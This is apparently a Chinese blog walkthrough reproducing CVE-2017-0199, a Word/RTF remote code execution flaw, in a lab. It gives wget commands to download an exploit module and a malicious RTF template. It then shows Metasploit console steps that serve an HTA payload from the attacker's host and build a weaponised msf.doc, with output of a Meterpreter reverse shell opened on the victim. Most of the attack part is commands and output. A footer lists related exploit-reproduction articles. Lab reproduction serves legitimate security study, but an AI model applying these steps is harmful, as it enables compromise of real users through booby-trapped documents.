CVE-2017-0199 WORD/RTF嵌入OLE调用远程文件执行的一个漏洞。不需要用户交互。打开文档即中招

首先更新msf到最新,据说最新版简化了利用过程,不需要开启hta这一步.但没测成功 还是按老方法

更新msf,增加国内源

 #清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free #浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free #东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib #官方源
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

没用阿里云的是因为用阿里云的源更新时,提示hash校验失败.

 apt-get clean && apt-get update -y && apt-get -f upgrade -y
msfupdate

下载对应exploit

 cd /usr/share/metasploit-framework/modules/exploits/windows/fileformat
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/modules/exploits/windows/fileformat/office_word_hta.rb

下载cve-2017-0199.rtf:

 cd /usr/share/metasploit-framework/data/exploits
wget https://raw.githubusercontent.com/nixawk/metasploit-framework/feature/CVE-2017-0199/data/exploits/cve-2017-0199.rtf

开启HTA:

 root@kali:~# msfconsole

      ,           ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| ||| Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
Learn more on http://rapid7.com/metasploit =[ metasploit v4.14.14-dev ]
+ -- --=[ exploits - auxiliary - post ]
+ -- --=[ payloads - encoders - nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use exploit/windows/misc/hta_server
msf exploit(hta_server) > show options Module options (exploit/windows/misc/hta_server): Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name
-- ----
Powershell x86 msf exploit(hta_server) > run
[*] Exploit running as background job. [*] Started reverse TCP handler on 192.168.1.101:
[*] Using URL: http://0.0.0.0:8080/h48EGx964y.hta
[*] Local IP: http://192.168.1.101:8080/h48EGx964y.hta
[*] Server started.
msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta
msf exploit(office_word_hta) > show options Module options (exploit/windows/fileformat/office_word_hta): Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME no The file name.
TARGETURI http://example.com/test.rtf yes The path to a online hta file. Exploit target: Id Name
-- ----
Microsoft Office Word

生成payload doc文档:

 msf exploit(office_word_hta) > set TARGETURI http://192.168.1.101:8080/h48EGx964y.hta
TARGETURI => http://192.168.1.101:8080/h48EGx964y.hta
msf exploit(office_word_hta) > set FILENAME msf.doc
FILENAME => msf.doc
msf exploit(office_word_hta) > run [+] msf.doc stored at /root/.msf4/local/msf.doc
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) > msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
msf exploit(office_word_hta) >
[*] 192.168.1.108 hta_server - Delivering Payload
[*] 192.168.1.108 hta_server - Delivering Payload
[*] Sending stage ( bytes) to 192.168.1.108
[*] Meterpreter session opened (192.168.1.101: -> 192.168.1.108:) at -- :: + msf exploit(office_word_hta) > sessions -i Active sessions
=============== Id Type Information Connection
-- ---- ----------- ----------
meterpreter x86/windows FEIYU\yu @ FEIYU 192.168.1.101: -> 192.168.1.108: (192.168.1.108) msf exploit(office_word_hta) > session
[-] Unknown command: session.
msf exploit(office_word_hta) > sessions -i
[*] Starting interaction with ...

去目标机上看下:

需要注意的是,不是所有版本都支持,比如我的office plus 2013

cve-2017-0199&metasploit复现过程的更多相关文章

  1. 利用metasploit复现永恒之蓝

    环境 目标机器:windows 7 ,172.16.136.169 攻击机:安装了Metasploit 的 ubuntu16.04 ,172.16.136.130 (安装Metasploit:在 Ub ...

  2. ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

    没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...

  3. NSA Fuzzbunch中EternalRomance工具复现过程

    自Shadow Brokers公布NSA泄露工具后,各路大神陆陆续续发表复现过程,这几天也仔细试了各种套路,一直想弄明白DoublePulsar中的shellcode到底是如何用的,刚好又在模拟环境中 ...

  4. Struts2 REST 插件 XStream 远程代码执行漏洞 S2-052 复现过程

    v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VM ...

  5. 漏洞利用之Metasploit使用过程

    漏洞利用之Metasploit使用过程 先扫描端口,看开放的服务,如开放ftp,版本是vsftpd 2.3.4:使用search搜索vsftp查看是否在相应的漏洞利用exploit,输入search ...

  6. 【3D】PoseCNN姿态检测网络复现过程记录

    最近在研究室内6D姿态检测相关问题,计划在PoseCNN网络基础上进行改进实现.但是在第一步的复现过程中踩了无数的坑,最终成功运行了demo,但目前数据集train还是遇到了一些问题.有问题欢迎一起交 ...

  7. Linux sudo权限提升漏洞CVE-2021-3156 POC及复现过程

    漏洞简介 2021年1月26日,国外研究团队披露了sudo 中存在的堆溢出漏洞(CVE-2021-3156).利用该漏洞,非特权账户可以使用默认的sudo配置主机上获取root权限,该漏洞影响1.8. ...

  8. php反序列化漏洞复现过程

    PHP反序列化漏洞复现 测试代码 我们运行以上代码文件,来证明函数被调用: 应为没有创建对象,所以构造函数__construct()不会被调用,但是__wakeup()跟__destruct()函数都 ...

  9. CVE-2020-2551复现过程

    项目地址 cnsimo/CVE-2020-2551 CVE-2020-2551 weblogic iiop 反序列化漏洞 该项目的搭建脚本在10.3.6版本经过测试,12版本未测试. 环境 kali+ ...

随机推荐

  1. Kafka官方文档翻译——设计

    下面是博主的公众号,后续会发布和讨论一系列分布式消息队列相关的内容,欢迎关注. ------------------------------------------------------------ ...

  2. CSS 浅析position:relative/absolute定位方式

    ## 一.position:relative 相对定位 ## 分两种情况分析: · 无 position: relative: · 有 position: relative. 代码如下图: 显示效果如 ...

  3. yiic执行出现不是内部或外部命令的解决办法

    右击我的电脑-->属性-->高级系统设置-->高级-->环境变量-->系统变量 设置为"D:\Program Files (x86)\wamp\bin\php\ ...

  4. Java NIO 核心组件学习笔记

    背景知识 同步.异步.阻塞.非阻塞 首先,这几个概念非常容易搞混淆,但NIO中又有涉及,所以总结一下[1]. 同步:API调用返回时调用者就知道操作的结果如何了(实际读取/写入了多少字节). 异步:相 ...

  5. Redux-Saga学习心得

    # Redux Saga ## 简述- Reducers负责处理action的state更新:- Sagas负责协调那些复杂或异步的操作. ## 安装 npm install --save redux ...

  6. java的logcat的简单使用

    android.util.Log常用的方法有以下5个:Log.v() Log.d() Log.i() Log.w() 以及 Log.e() .根据首字母对应VERBOSE,DEBUG,INFO, WA ...

  7. create groups 和 create folder reference

      当将文件拖入工程中的时候会出现这个对话框,这个对话框中在Added folders中有两种选择:Create groups 和 Create folder references   这两种的区别是 ...

  8. 对X86汇编的理解与入门

    本文描述基本的32位X86汇编语言的一个子集,其中涉及汇编语言的最核心部分,包括寄存器结构,数据表示,基本的操作指令(包括数据传送指令.逻辑计算指令.算数运算指令),以及函数的调用规则.个人认为:在理 ...

  9. peoplesoft function PSTREENODE 通过 deptid 获得部门树 一级部门 名称

    create or replace function ht_gettopdeptNAME(deptid in varchar) return varchar2 is r ); c int; m ); ...

  10. win32SDK的hello,world程序(二)

    接上篇,原生的控件都不太好看,所以决定自己画一个,稍微处理下消息就能用了.不过,美化这东西是需要天赋的.即使技术再好,没有对UI布局调整和良好的审美能力,做出来的东西还是很挫. 主要把消息逻辑和画的过 ...